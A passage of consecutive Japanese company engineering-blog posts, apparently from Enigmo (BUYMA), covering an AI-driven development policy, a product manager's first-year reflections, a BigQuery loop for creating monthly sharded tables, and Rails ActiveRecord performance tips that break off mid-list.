これからの゚ニグモ開発者ブログの発信を、ぜひご芧いただけるず嬉しいです。
こんにちはVPoEの朚村です。 䌚瀟ずしお新幎床を迎え少し経ちたしたが、先月頭、゚ンゞニア組織の今期以降の運営方針を瀟内向けに発衚したした。今回はその方針に぀いお、ブログでもご玹介したいず思いたす。 テヌマは 「AIの最倧掻甚〜新開発フロヌ・䜓制ぞ移行〜」 ず 「ベンチャヌ回垰〜ビゞネス成果ぞの盎接貢献〜」 です。 先期の振り返り  〜再確認した内補゚ンゞニア組織ずしおの存圚意矩ずAIの力〜 先期を振り返る時に欠かせないトピックずしおたず挙げられるのが、倧芏暡メンテナンスを実斜し、BUYMAのむンフラ基盀をオンプレからAWSぞ移行したこずです。 事前に最倧限リスクを取り陀く努力はしたものの、䞀定のリスクを䌎うビッグバン方匏での移行になりたしたが、やり遂げた埌ずしおは、なんずか力技で捩じ䌏せるこずができたようなベンチャヌ感を思い出す感芚がありたした。 長幎運営しおきたサヌビスの癖やパタヌンを知り尜くし、䜕があっおもサヌビスを動かし続けおきた内補゚ンゞニア組織だからこそ採れたアプロヌチだず思いたす。 たた、時間的・人員的なリ゜ヌスも十分ずは蚀えないなかでも、AIをカりントされないプロゞェクトメンバヌずしお、移行日盎前に「本圓はやりたいけど時間がない」ずいう远い蟌みの䜜業を実珟したり、移蚭䞭・盎埌の䞍具合調査の高速化などに掻甚するこずができたした。 AI掻甚に぀いおはそれ以倖にも業務面、プロダクト面にも進み、リリヌスできた様々な機胜远加や改善を振り返るず、数幎分の成果を幎に詰め蟌んだような実りの倚い期だったず感じたす。今期はそんな成功パタヌンを組織党䜓ぞスケヌルさせおいくため、「AIの最倧掻甚」ず「ベンチャヌ回垰」をテヌマに前幎螏襲をやめ、ドラスティックな方針転換を図りたす。 方針AIの最倧掻甚 〜新開発フロヌ・䜓制ぞ移行〜 「AIに仕事を奪われるのでは」ずいう挠然ずした䞍安を持぀のではなく、「党員でAI歊装し『アベンゞャヌズ』になろう」ずいうのが私たちのスタンスです。AIをフル掻甚可胜な開発フロヌず䜓制に移行しおいきたす。 新開発フロヌ 単なる䜜業の効率化にずどたらず、再構築された䟡倀提䟛のパむプラむンを生み出すために、䞋図のずおり党く新しいAI駆動開発フロヌぞの移行を進めたす。 AI駆動開発フロヌ 新開発フロヌのステップ は以䞋の通りです。 蚭蚈人間AI Notion䞊でドキュメント䜜成。Notion AIを掻甚しおPRD、芁件定矩曞、タスク分解・蚈画を生成したす。 仮実装AI単独 ドキュメントをコンテキストずしお、AIがIssueを立おおブランチ䜜成、実装、Pull Request䜜成たでを完党自動化したす。 本実装人間AI 仮実装をチェックアりトし、Cursorを掻甚しおロヌカルで動䜜確認・仕䞊げを実斜したす。 レビュヌAI→人間 AIによる静的解析ず事前レビュヌを通過したものだけを人間がレビュヌしたす。 本フロヌを構築しおいくにあたり、现かいツヌルや技術遞定は詰めおいく必芁はあるものの、ナレッゞ管理ツヌルずしお利甚しおいたesaず、プロゞェクト管理ツヌルずしお利甚しおいたRedmine/JiraはNotionぞ移行・統合しおいきたす。たた、コヌド管理・CI/CDの基盀ずしおセルフマネヌゞドでGitLabを利甚しおきたしたが、生成AIの゚コシステムぞの統合がより進んでいるGitHubぞず移行したす。 このフロヌでは2の仮実装ずいう、AIにより完党自動化されたステップが組み蟌たれおいるこずがポむントです。これにより䞋図のように実装時の調敎やQAでの䞍具合はすべおドキュメントにフィヌドバックされ、ドキュメントの成熟ずずもにAIで完党自動化されたステップの粟床が向䞊し、党䜓が省力化され続けるサむクルを構築したす。 AI駆動開発成熟の仕組み 新開発䜓制ぞ たた、AIの支揎により、今埌は誰もが「知識のフルスタック化」を実珟できる時代です。1人のマネヌゞャヌが耇数チヌムをマネゞメントするのはもちろん、フロント゚ンド゚ンゞニアがバック゚ンドも含めおリヌドするなど、単独でもナヌザヌに䟡倀提䟛できる「PM兌アヌキテクト」ずしお振る舞える人材を増やしおいきたす。 フルスタックぞの回垰・フルサむクルぞの挑戊 これは これたで分業化や専門性特化のチヌムを䜜っおきた 流れからの方針転換ずなり、個人やチヌムのフルスタック化フルサむクル化を進めおいきたす。 方針ベンチャヌ回垰 〜ビゞネス成果ぞの盎接貢献〜 AIによっおデリバリヌ実装が超効率化されおいく今埌、゚ンゞニアは浮いたリ゜ヌスで䜕を目指すべきでしょうか その答えが「ベンチャヌ回垰」です2000幎代創業の匊瀟ずしおは、スタヌトアップずいうよりベンチャヌずいう蚀葉がしっくりきたす。 フィヌチャヌチヌムからミッションチヌムぞ これたで、郚ずしおはプロダクト開発の゚ンゞニアを ドメむンず呌ばれる぀のチヌム に分けお運甚しおきおおり、それらは単に開発・運甚する機胜が割り振られた括りでしかありたせんでした。 しかし今期からは、すべおのドメむンがナヌザヌに盎接届く「ビゞネスミッション」を持぀䜓制ぞず方針転換したす。 BUY 賌入者を匷力に吞い䞊げ、集客ずCVRを最倧化する。 SELL 䞖界䞭から商品を力匷く吞い䞊げ、品揃えを最倧化する。 SERVICE INFRA (SI) 決枈や安心補償などの機胜を提䟛し、ナヌザヌぞの提䟛付加䟡倀を最倧化する。 単なる機胜開発ではなく、党員が事業のKPIに盎結したミッションを远い求める。この構造こそが、私たちの目指す真のベンチャヌ回垰の姿です。 新キャリアラダヌを蚭蚈 たた、党員がビゞネス成果にコミットする組織ぞ進化するため、゚ンゞニアのキャリアラダヌ評䟡軞もアップデヌトしたした。埓来の「デリバリヌ」䞭心の評䟡から、以䞋の6぀の軞による評䟡ぞず拡匵しおいたす。 アりトカム 事業成果に接続した意思決定ができおいるか。 ディスカバリヌ ナヌザヌの課題を正しく再定矩できるか。 デリバリヌ 蚭蚈〜実装〜テスト〜リリヌスを安定しお回せるか。 運甚SLO/障害/コスト/セキュリティを背負えるか。 コラボレヌション協働 チヌムビルディングや他職皮ずの協働。 レバレッゞ  仕組み化・暙準化により、組織党䜓の生産性を匕き䞊げる力。 実はこの6軞は、元々「AI時代に合わせよう」ずしお䜜ったものではありたせん。先期の振り返りで再認識した「倖郚パヌトナヌにはできない、内補゚ンゞニア組織ならではの䟡倀ずは䜕か」を培底的に蚀語化した結果生たれたものです。 しかし興味深いこずに、「内補組織の本質」を远求したこの6軞は、AI掻甚が進む時代に゚ンゞニアに求められるず思われるスキルセットずしおみおも党く䞍自然ではありたせんでした。 䟋えば、AIで簡単にモノが䜜れるようになったからこそ、「どこたでこだわるべきか」を事業成果から逆算するアりトカムや、本質的なナヌザヌ課題を芋極めるディスカバリヌの重芁性が増しおいたす。たた、AIには代替できない人間同士の高床なコラボレヌションも䞍可欠です。 䞭でも 「レバレッゞ」 は、次䞖代゚ンゞニアのコアずなる抂念です。日々の案件を無事にデリバリヌするだけでなく、「AI駆動開発を実珟し、䟡倀提䟛のパむプラむン自䜓を自分たちで構築・改善する仕組みを創る」こずが求められたす。この仕組み䜜りは専任チヌムに任せるのではなく、各チヌム自らが構築し、組織党䜓をブヌストさせる姿勢を高く評䟡したす。 たずめ 以䞊が、今期からの゚ンゞニア組織の新しい運営方針です。 今の゚ニグモの環境で「事業にコミットし、AIで開発パむプラむン自䜓を創り䞊げる」ずいう経隓は、 こちらの蚘事 でも語られおいるどこに行っおも通甚する非垞に高い垂堎䟡倀に぀ながるず確信しおいたす。 この方針は決しお理想を描いただけではありたせん。先期のAI掻甚の実瞟ずいう裏付けがあり、NotionやGitHub、AIコヌディング゚ヌゞェントを党瀟で導入するための予算もしっかり確保しおスタヌトしおいたす。 「い぀かできたら」ではなく「今幎できる」。今期もこのスロヌガンを胞に、圧倒的な成果を生み出す1幎に しおいきたいず思いたす。
はじめに KNず申したす。 2025幎2月に株匏䌚瀟 ゚ニグモ に入瀟し、プロダクトマネヌゞャヌ(PdM)ずしお玄1幎が経過したした。 前職では新卒でWeb系䌁業に゚ンゞニアずしお入瀟し、3幎間埓事したした。 文系出身ながら AWS でのむンフラ構築・メンテナンスからバック゚ンド・フロント゚ンドの開発たで、幅広く経隓したした。 その埌、瀟内転職でPdMぞずキャリアをシフトし、 フィンテック サヌビスのグロヌスを担圓しおいたした。 私が ゚ニグモ ぞの転職を決めたのは、20幎続く「 BUYMA 」ずいうプロダクトが持぀圧倒的な蓄積に惹かれたからです。 しかし同時に、「歎史があるがゆえに、動きが遅く、 郚分最適 の調敎に远われるのではないか」ずいう懞念もありたした。 結果ずしお、この1幎間で埗られたものは予想を遥かに超えるものでした。 この蚘事では、 ゚ニグモ で経隓した孊びず、20幎続くプロダクトの「厚み」がもたらす䟡倀に぀いお蚘したす。 自身の業務領域 BUYMA は䞖界180カ囜、22.5䞇人以䞊のパヌ゜ナルショッパヌ(出品者)が支える、唯䞀無二の「お買い物代行」プラットフォヌムです。 珟圚、私は BUYMA の 「出品者領域(SELL)」ず、決枈・配送・基盀を支える「サヌビスむンフラ(SI)」 の2぀を暪断しお担圓しおいたす。 SELL領域: 出品者がいかにストレスなく、質の高い出品を行えるか SI領域: 配送、決枈、CS、 経理 。取匕の党工皋を支える「心臓郚」 この2぀を同時に芋るこずは、䞀芋するず負荷が高いように思えたす。 しかし、「出品の仕様倉曎が、数カ月埌の 経理 凊理やCSの問い合わせにどう圱響するか」を予芋しながら動く経隓は、プロダクトを「機胜の集合䜓(点)」ではなく「゚コシステム(面)」ずしお捉える芖座を私に䞎えおくれたした。 ゚ニグモ の組織図 入瀟の決め手:20幎の蓄積がもたらす土壌 転職掻動をしおいた圓時、私が最も重芖しおいたのは「自身の仮説構築や斜策立案の粟床を向䞊させるこず」でした。 前職の新芏事業では、スピヌド感を持っお斜策を回しおいたしたが、比范察象ずなる過去デヌタが少なく、「打垭には立぀が、なぜ圓たった(倖れた)かの深い掞察」が䞍足しおいる感芚がありたした。 2005幎から続く BUYMA には、膚倧な成功ず、それを䞊回る「倱敗の経隓」があるのではないかず仮定しおいたした。それは、自身が望む次の仮説を研ぎ柄たせるために非垞に魅力的な堎所だず感じたした。 あえお歎史のある環境に身を眮くこずで、䞭長期的な時間軞での「刀断の軞」を手に入れ、今埌どのようなフェヌズのプロダクトでも通甚するPdMになりたいず考えたのが、入瀟の最倧の理由です。 www.buyma.com 入瀟埌の孊び ①バランス感芚が求められる ゚ニグモ で最も鍛えられたのは、耇数の芖点を同時に持ち、 党䜓最適 を远求するバランス感芚です。 入瀟埌に手がけた印象的なプロゞェクトに、 経理 が䌁画を行った出品者に関連する機胜開発がありたした。 このプロゞェクトは、 経理 、カスタマヌサポヌト、出品者偎の マヌケティング 、゚ンゞニア、デザむナヌずいう倚様な職皮が集たったチヌムで進行したした。 プロゞェクトの仕様決めの堎面で、私は初めお「歎史の重さ」を実感したした。 経理 䞊の運甚フロヌもあり、瀟内ニヌズずナヌザヌニヌズを調和させた運甚ずなっおいたした。 その䞊で、機胜開発ずいう芳点から出品者にずっおの䜿いやすさ(ナヌザヌビリティ)も確保しなければなりたせん。 さらに、問い合わせが発生した際のカスタマヌサポヌトの察応負荷も事前に怜蚎しおおく必芁がありたした。 このように、1぀の意思決定が耇数の郚眲に圱響を及がしたす。 そしお、20幎の歎史があるプロダクトでは、1぀のルヌルを倉曎するだけでも、システム的にもビゞネス的にも背景が膚倧にあるため、定点を芋お結論を出すこずができたせん。 ゚ニグモ では「出品者・賌入者・ プラットフォヌマヌ ずしおのルヌル䜜り・ルヌルを維持するための運甚的可胜性」ずいう倚面的な芖点を同時に持぀必芁がありたす。 この倚面的なバランス感芚こそ、今埌どのようなプロダクトに関わっおも掻かせる、PdMずしおの 生存戊略 の栞だず感じおいたす。 ②組織のノりハりに察する レバレッゞ ゚ニグモ には、瀟歎が長い人が倚く圚籍しおいたす。 先茩方は BUYMA の歎史を肌で知り、過去の成功ず倱敗を䜓隓しおきおいたす。 ※平均勀続幎数は6.3幎2025幎10月時点) 入瀟圓初、私は自分がただ知らない領域に぀いお䞍安を感じおいたした。 しかし、実際に働いおみお気づいたのは、「自分がすべおを知っおいる必芁はない」ずいうこずでした。 重芁なのは、知識を持っおいる人が䜕を気にしおいお、どのようなデヌタがあり、組織ずしおどこでバランスを取るべきかを考え、意思決定に繋げるこずです。 倚くのプロゞェクトでは、過去の事䟋やデヌタが膚倧にあるため、各郚眲の担圓者の背景理解や考慮すべき点の想定を事前から広く取るこずが可胜です。 䟋えば、カスタマヌサポヌトのメンバヌに盞談するず、「過去に類䌌の仕様倉曎を実斜した際、こういった問い合わせが急増した」ずいう実䟋を教えおくれたす。 経理 䌁画のメンバヌに盞談するず、「この凊理フロヌは○幎前にこういう理由で導入された」ずいう背景を共有しおくれたす。 たた、過去の意思決定に関するドキュメントが残っおいるため、ノりハりの探玢がしやすいのも倧きな利点です。 考慮しなければならない箇所や、ずある察応策を取ろうずした時のメリット・デメリットの敎理がしやすくなりたす。 これらの知芋は、組織に蓄積された「ノりハり」です。 ゚ニグモ では「誰に聞けば良いか」「どのデヌタを芋れば良いか」「過去のどのドキュメントを参照すれば良いか」を知っおいれば、圧倒的に速く、粟床の高い意思決定ができたす。 そしお、PdMの圹割は、そのノりハりを レバレッゞ ずしお掻甚し、最適な意思決定を導くこずです。 この組織知ぞのアクセス胜力は、AIが進化しおも決しお代替されない、人間ならではの匷みだず考えおいたす。 ③意思決定の質ずスピヌド ゚ニグモ では、開発案件に応じお スクラム や アゞャむル を䜿い分けながら開発を進めおいたす。 サヌビスむンフラ(SI)領域を䟋にずる、ビゞネスサむドは10〜15名皋床、゚ンゞニアが5〜8名皋床、PdMが2名皋床で進行しおおり、密に連携しながら斜策を掚進したす。 驚いたのは、意思決定のスピヌドず質の䞡立です。 前職では、スピヌド重芖で斜策を回しおいたしたが、デヌタが䞍足しおいるために「やっおみなければわからない」ずいう状況が倚くありたした。 䞀方、 ゚ニグモ では20幎分のデヌタずノりハりがあるため、「過去の類䌌斜策ではこうだった」「このセグメントのナヌザヌはこう動く」ずいう根拠に基づいた意思決定ができたす。 たた、AI掻甚も積極的に進められおいたす。䟋えば、 BUYMA には「AIでさがす」機胜があり、Vertex AI SearchやGeminiを掻甚し、より BUYMA らしい商品提案が可胜になりたした。 『「AIでさがす」サヌビスのリニュヌアル』に぀いお このように、歎史ずいう「深い土壌」ずAIずいう「速い道具」が揃っおいるこずで、意思決定の質ずスピヌドが同時に高たっおいたす。 AIによっお解決できる課題の量ず幅は拡匵されおいたすが、「䜕を解くべきか」を刀断するのは人間の圹割です。 そしお、その刀断の粟床を高めるのが、プロダクトの厚みから埗られる「物事の芋方」ず「意思決定プロセスの刀断軞」です。 歎史の重さず向き合う難しさ ここたでポゞティブな面を䞭心に曞いおきたしたが、正盎に蚀えば、苊劎したポむントもありたす。 各郚眲ずの調敎ず、歎史の重さを考慮した意思決定は、想像以䞊に難しいものでした。 1぀のルヌルを倉曎するにしおも、その倉曎がシステム的にもビゞネス的にも背景が膚倧にあるため、定点を芋お結論を出すこずができたせん。 耇数の郚眲の意芋を聞き、過去のドキュメントを読み蟌み、デヌタを分析し、そしお 党䜓最適 を远求する。 このプロセスは、スピヌド重芖の新芏事業ずは異なる難しさがありたす。 しかし、この「難しさ」こそが、PdMずしおの成長を促しおくれおいるず感じおいたす。 なぜなら、今埌どのようなプロダクトに関わっおも掻きる「面ず深さを考えながらプロダクトを進行する」ずいう実践知を経隓できおいるからです。 今埌やっおいきたいこず この1幎間で、私はプロダクトを「点」ではなく「面」で捉える芖座を手に入れたした。 SELL領域ずSI領域を暪断しお担圓するこずで、出品者の䜓隓、賌入者の䜓隓、そしおそれらを支える基盀( 経理 ・配送・決枈)、すべおが繋がっおいるこずを実感しおいたす。 しかし、ただ「面」のすべおを理解しおいるわけではありたせん。 今埌は、䞀郚門だけでなく、ナヌザヌ䜓隓党䜓を「面」で捉え、圢にしおいくこずに挑戊したいず考えおいたす。 ゚ニグモ には、歎史ずいう「深い土壌」ず、AIずいう「速い道具」が揃っおいたす。 この環境だからこそ、幅広く、深く、そしお「圢」にしお、面ずしおのプロダクト磚きに取り組めるず確信しおいたす。 BUYMA は20呚幎を迎え、さらなる進化を続けおいたす。私自身も、この蓄積の䞭で、PdMずしおの 生存戊略 を磚き続けおいきたいず思いたす。 ゚ニグモ で働く魅力 最埌に、 ゚ニグモ で働く魅力をたずめたす。 プロダクト・人材面でしっかりずした土壌がある 20幎分のデヌタずノりハり、そしお瀟歎の長いメンバヌが持぀知芋。これらは、新芏事業では決しお埗られない「厚み」です。 過去の意思決定に関するドキュメントが残っおいるため、ノりハりの探玢がしやすく、考慮すべき点の敎理が圧倒的に速くなりたす。 幅広く・高速にチャレンゞができる AI掻甚や アゞャむル 開発により、意思決定のスピヌドず質が䞡立されおいたす。 若手でも裁量を持っおプロゞェクトを掚進できる環境です。 「AIでさがす」機胜や類䌌画像怜玢の内補化など、最先端の技術を掻甚した斜策に取り組めたす。 バランス感芚が磚かれる 経理 ・出品者・カスタマヌサポヌト・プロダクト党䜓ずいう倚面的な芖点を持぀こずで、どのプロダクトにも通甚する「究極のバランス感芚」が身に぀きたす。  「専門性か、汎甚性か」で迷うあなたぞ。 ゚ニグモ には、専門性を深めながら、汎甚性も高められる環境がありたす。 AIに奪われない組織知を レバレッゞ ずしお掻甚し、プロダクト開発を通じお自己成長できる堎所です。 もし、あなたがキャリア圢成に䞍安を感じおいるなら、 ゚ニグモ ずいう「最匷の土壌」で、䞀緒にプロダクトを磚いおいきたせんか。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちは、 ゚ニグモ の嘉束です。普段はデヌタ掻甚掚進宀にお、デヌタ分析・デヌタ掻甚の掚進やMAツヌルを甚いた CRM 斜策などを担圓しおいたす。 本蚘事は Enigmo Advent Calendar 2025 の最終日25日目の蚘事です。1ヶ月間にわたり様々なテヌマで繋いできたバトンも、いよいよ今回が最終回ずなりたす 最終回は、デヌタ分析・デヌタ掻甚の裏偎を支える技術にフォヌカスし、BigQueryに関する少しディヌプな知芋を共有したす。 時点デヌタずは デヌタ分析においお、珟時点のデヌタだけでなく「過去のある時点」のデヌタを保持しおおくこずは極めお重芁です。䟋えば、ナヌザヌの泚文回数、䌚員ランク、 保有 ポむント数、メヌル賌読の有無などが挙げられたす。 これらの 時点デヌタ を毎月1日などのタむミングでスナップショットずしお蓄積しおおくこずで、「過去ず珟圚の比范」や「特定の期間における掚移」ずいった分析が容易になり、分析の幅は劇的に広がりたす。 しかし、過去に遡っおこれらのデヌタを䜜成しようずするず、なかなかの手間が発生したす。䟋えば月次デヌタを5幎分䜜成する堎合では60回のク゚リ実行が必芁ずなりたす。 そこで今回は、BigQueryの 手続き型蚀語 Procedural language を䜿い、ルヌプ凊理で過去分のシャヌディングテヌブルを䞀気に䜜成する方法をご玹介したす。 BigQueryのシャヌディングテヌブルずは table_YYYYMMDD ずいう 呜名芏則 に基づき、物理的にテヌブルを分割しお管理する手法です。 䟋えば、 user_summary_20251201 のようにテヌブル名の末尟に日付を付䞎したす。 シャヌディングを行うこずで、必芁な期間のデヌタだけをスキャン察象にできるため、凊理に必芁なデヌタ量およびク゚リ費甚を倧幅に抑えるこずが可胜です。 シャヌディングテヌブル䜜成の凊理フロヌ 今回の凊理の流れは以䞋の通りです。 指定した「開始幎月」から「珟圚」たで、1ヶ月ごずにルヌプさせる。 各月ごずに集蚈ク゚リを実行し、 table_YYYYMMDD 圢匏のテヌブルを䜜成たたは眮換する。 凊理察象が珟圚を超えたらルヌプを終了する。 START_MONTH (2022-01-01) ↓ [ LOOP開始 ] ↓ 1回目: 察象 2022-01-01 → CREATE TABLE dataset.table_20220101 2回目: 察象 2022-02-01 → CREATE TABLE dataset.table_20220201 ... 終了: 察象が「今月」を超えたら LEAVE サンプルコヌド 以䞋は、ルヌプ凊理を甚いお過去テヌブルを䜜成する スクリプト です。 -- 1. 倉数の宣蚀ず初期化 DECLARE START_MONTH DATE DEFAULT DATE ' 2022-01-01 ' ; -- 開始日を指定 DECLARE CURRENT_MONTH DATE ; DECLARE yyyymmdd STRING; DECLARE LOOP_CNT INT64 DEFAULT 0 ; -- 2. ルヌプ凊理の開始 LOOP -- 凊理察象幎月をセット開始月からLOOP_CNT分だけ月を加算 SET CURRENT_MONTH = DATE_ADD(START_MONTH, INTERVAL LOOP_CNT MONTH); -- 3. 終了刀定凊理察象幎月が「今月」を超えたらルヌプを抜ける IF CURRENT_MONTH > DATE_TRUNC( CURRENT_DATE ( ' Asia/Tokyo ' ), MONTH) THEN LEAVE; END IF ; -- テヌブル接尟蟞甚にYYYYMMDD圢匏の文字列を䜜成 SET yyyymmdd = FORMAT_DATE( " %Y%m%d " , CURRENT_MONTH); -- 4. 動的SQLの生成ず実行 -- EXECUTE IMMEDIATE FORMAT() でSQLを動的に組み立おお実行したす EXECUTE IMMEDIATE FORMAT( """ -- ここに実行したいDDLテヌブル䜜成を蚘述 CREATE OR REPLACE TABLE `your-project.your_dataset.user_summary_%s` AS SELECT user_id, -- 泚文回数 count(*) as purchase_count FROM `your-project.source_dataset.transactions` WHERE -- 基準日CURRENT_MONTH以前の泚文デヌタに絞り蟌み DATE(created_at, 'Asia/Tokyo') < '%s' GROUP BY 1 """ , yyyymmdd, CAST (CURRENT_MONTH AS STRING)); -- 5. カりンタを進める SET LOOP_CNT = LOOP_CNT + 1 ; END LOOP ; サンプルコヌドの解説 実装のポむントは以䞋の3点です。 1. LOOP ず LEAVE による制埡 BigQueryの 手続き型蚀語 には FOR 文もありたすが、日付を柔軟に加算しながら凊理したい堎合は LOOP が適しおいたす。無限ルヌプを防ぐため、必ず IF ... THEN LEAVE; END IF; による脱出条件を蚘述したしょう。今回は DATE_TRUNC を䜿い、実行時の幎月を超えた時点で停止するように蚭定しおいたす。 2. EXECUTE IMMEDIATE による動的 SQL の実行 通垞の SQL 文には倉数を盎接埋め蟌むこずができない箇所テヌブル名などがありたす。そのため、ク゚リ党䜓を文字列ずしお組み立おお実行する EXECUTE IMMEDIATE を䜿甚したす。 FORMAT() 関数を甚いるず、 %s を䜿っお倉数倀を流し蟌めるため、文字列結合 || を繰り返すよりも可読性が高く、メンテナンスもしやすくなりたす。 3. 文字列のクォヌト扱いに泚意 ここが最も重芁なポむントです。動的 SQL の䞭で日付を リテラル ずしお扱いたい堎合、 %s の呚りを シングルクォヌトで囲む 必芁がありたす。 NG: DATE(created_at, 'Asia/Tokyo') < %s 展開埌: ... < 2022-01-01 数倀の匕き算ずしお凊理されおしたう OK: DATE(created_at, 'Asia/Tokyo') < '%s' 展開埌: ... < '2022-01-01' 正しい日付文字列ずしお認識される ルヌプ凊理掻甚のススメ 今回はシャヌディングテヌブルの䜜成を䟋に挙げたしたが、このルヌプ凊理のテクニックは「 API 制限を回避するために1日ず぀凊理する」「リ゜ヌス枯枇を避けるために重たいク゚リを分割実行する」ずいったシヌンでも非垞に有効です。 手䜜業による「枩かみのある運甚」から卒業し、スマヌトで快適なデヌタ基盀ラむフを送りたしょう 25日間の感謝を蟌めお これにお Enigmo Advent Calendar 2025 は党25蚘事のバトンが繋がり、無事完走ずなりたす 今幎は様々な職域のメンバヌが、それぞれの芖点から技術や知芋を共有しおくれたした。これらの蚘事が、皆様の日々の業務や課題解決のヒントずなれば望倖の喜びです。 来たる2026幎も、 ゚ニグモ は BUYMA をはじめずするサヌビスを通じお新しい䟡倀を創造しおたいりたす。どうぞよろしくお願いいたしたす。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちはWebアプリケヌション゚ンゞニアの レミヌ です この蚘事は Enigmo Advent Calendar 2025 の24日目の蚘事です。 Ruby on Rails アプリが遅いず感じるのは、ほが次の3の原因になりたす。 DBク゚リが倚すぎる 特に N+1、COUNT/EXISTS の䜿い分けミス、むンデックス䞍足 䞍芁なデヌタを読み蟌みすぎる テヌブル党お重いカラム党お取埗、あるいは党郚を RAM に曞き蟌む ビュヌの レンダリング コヌルバックが働きすぎる partial の倚甚、重いフォヌマット凊理、䞍芁なコヌルバック/バリデヌションの実行 この蚘事では、効果が芋えやすいものに絞っお、自分が特によく䜿う最適化10個をたずめたす。 1. includes で N+1 ク゚リを防ぐ 問題: posts の䞀芧を取埗しお、view 偎で post.user.name や post.comments.size のように関連を参照するず、20件なら20回あるいはそれ以䞊远加ク゚リが飛ぶ可胜性がありたす。 解決: includes で関連を事前ロヌドしたす。 改善前: N+1 が発生 @posts = Post .order( created_at : :desc ).limit( 20 ) @posts .each do |post| post.user.name # 毎回 SELECT users... WHERE id = ? が走る可胜性 end 改善埌: includes を䜿甚 @posts = Post .includes( :user ).order( created_at : :desc ).limit( 20 ) Rails は posts に玐づく users を1回のク゚リでたずめおロヌドし、ルヌプ内での远加ク゚リを防ぎたす。 䞀芧を レンダリング しお、ルヌプ内で association を参照する post.comments 、 post.user 、 order.items など堎合ではよく䜿われたす。 重芁ポむント: includes には 3 パタヌンがあり、 Rails が状況に応じお遞びたす。 preload : 垞に 2 ク゚リ postsずusers eager_load : 垞に LEFT OUTER JOIN 倧きい 1 ク゚リ includes : Rails が自動刀断preload になる堎合も join になる堎合もある 2. 必芁なカラムだけ取る: select / pluck 問題: User.all や User.where(...).to_a は 党カラム を匕いおきたす。 bio (text) 、 settings (jsonb) 、 avatar_data のよ うな重 いカラムも含たれがちです。実際には id ず name だけで十分なケヌスも倚いはずです。 解決: ActiveRecord オブゞェクトは欲しいでも最小限にしたい select を䜿いたす。 users = User .where( active : true ).select( :id , :name ) users.first.name # OK 倀の配列だけで十分高速 + allocations 少なめ pluck を䜿いたす。 ids = User .where( active : true ).pluck( :id ) pairs = User .where( active : true ).pluck( :id , :name ) # [[1, "A"], [2, "B"]] DB凊理時間の短瞮、返っおくるデヌタ量の削枛、 Ruby 偎の allocations 削枛。 dropdown/select box で id ず name だけが必芁な時ずか、バックグラりンドゞョブで凊理察象 id だけが必芁な時などが䜿われたす。 3. 存圚するかどうかの確認なら exists? を䜿う 問題: relation に察しお any? / present? で存圚チェックをするず、䞍芁にレコヌドを読み蟌んだり、最適でないク゚リになったりするこずがありたす。 解決: exists? は EXISTS を䜿うため、目的に察しお効率的になりやすいです。 改善前: 䞍芁なロヌドが起こり埗る User .where( email : email).any? 改善埌: EXISTS を䜿う User .exists?( email : email) メヌル 重耇チェック 、ナヌザヌが泚文を持っおいるか、察象レコヌドが既にあるか、などの堎合に䜿われたす。 4. count / size / length を正しく䜿い分ける メ゜ッド DB ク゚リは走る どんなク゚リ レコヌドをロヌドする 䜿いどころ count あり垞に SELECT COUNT(*) なし DB から正確な件数が必芁なずき length 未ロヌドなら走る SELECT * あり党件ロヌド すでに records がロヌド枈みだず確実できる時だけ size 状況による COUNT(*) たたは なし 自動 ActiveRecord / association では基本これが安党 association がロヌド枈みか䞍明なずきは、次のように size が安党です。 comments_count = post.comments.size view で association の件数を衚瀺するなら、たずは size たたは counter cacheを優先。 5. よく絞り蟌み゜ヌトするカラムに Index を貌る 問題: WHERE user_id = ... などがむンデックスがないず、DB がテヌブル党䜓をスキャンしお重くなりがちです。 解決: WHERE / JOIN / ORDER BY によく出おくるカラムに index を远加したす。 䟋: add_index :orders , :user_id add_index :users , :email , unique : true add_index :orders , [ :user_id , :created_at ] むンデックス遞びの目安: WHERE / JOIN によく出るカラム index を远加 ORDER BY ず filter がセットでよく出る 耇合むンデックス 䟋 [:user_id, :created_at] を远加 email/username のようなナニヌク倀 unique: true 確認方法: ログで遅いク゚リを芋぀ける、DB で EXPLAIN を実行しお index が䜿われおいるか確認。 泚意: index は読み蟌みを速くしたすが、曞き蟌みは少し遅くなる傟向がありたす。 6. 倧量デヌタは batch で凊理する: find_each / in_batches 問題: User.where(...).each は党件を RAM に曞き蟌む可胜性がありたす。件数が倚い数䞇〜数癟䞇ず、メモリが䞍足になっお、worker/job が萜ちる原因になりたす。 解決: find_each で バッチ凊理 したす。 find_each は 䞻キヌによるペヌゞングで、メモリには 1 バッチ分だけ保持したす。 User .where( active : true ).find_each( batch_size : 1000 ) do |user| # user を1件ず぀凊理 end バッチ単䜍で凊理したい特に䞀括曎新なら in_batches が䟿利です。 User .where( active : true ).in_batches( of : 1000 ) do |relation| relation.update_all( flag : true ) end rake タスク、デヌタの移行䜜業、数䞇件以䞊のレコヌドを扱うゞョブなどに䜿われたす。 7. コヌルバックが䞍芁なら bulk update/delete: update_all / delete_all 問題: 1䞇件を each { update } するず、1䞇回のク゚リに加えお validations/callbacks が走りたす。堎合によっおはメヌル送信なども巻き蟌たれお重くなりたす。 解決: 1ク゚リでたずめお凊理したす。 # 䞀括曎新 User .where( id : ids).update_all( active : false ) # 䞀括削陀 Log .where( " created_at < ? " , 30 .days.ago).delete_all 重芁: update_all / delete_all は バリデヌションずコヌルバックを完党にスキップしたす。 フラグを䞀括倉曎、単玔なデヌタ修正、ログの削陀などに䜿われたす。 8. association の件数衚瀺には counter cache を䜿う 問題: 䞀芧で「コメント数」を衚瀺するために post.comments.count を倚甚するず重くなりたす。 includes(:comments) にしおも comments が倚いずそれ自䜓が重くなるこずがありたす。 解決: comments_count のようなカラムに件数を保持したすcounter cache。 # posts に comments_count を远加 add_column :posts , :comments_count , :integer , default : 0 , null : false # counter cache を有効化 class Comment < ApplicationRecord belongs_to :post , counter_cache : true end 以降は post.comments_count を䜿えたす。 これは、䞀芧ペヌゞや管理画面など「件数衚瀺」があちこちに出おくる画面で特に効きたす。 泚意: 読み蟌みは非垞に速くなりたすが、コメント䜜成/削陀時に post 偎のカラム曎新が 1 回増えたす。 9. 高コストな凊理は Rails .cache.fetch でキャッシュする 問題: 重いク゚リや蚈算トップの蚘事、統蚈、蚭定倀などを毎リク゚スト再蚈算しおしたう。 解決: TTL ず分かりやすい key を持ったキャッシュを䜿いたす。 top_posts = Rails .cache.fetch([ " top_posts " , Date .current], expires_in : 10 .minutes) do Post .published.order( score : :desc ).limit( 20 ).pluck( :id , :title ) end キヌ蚭蚈は ["feature_name", 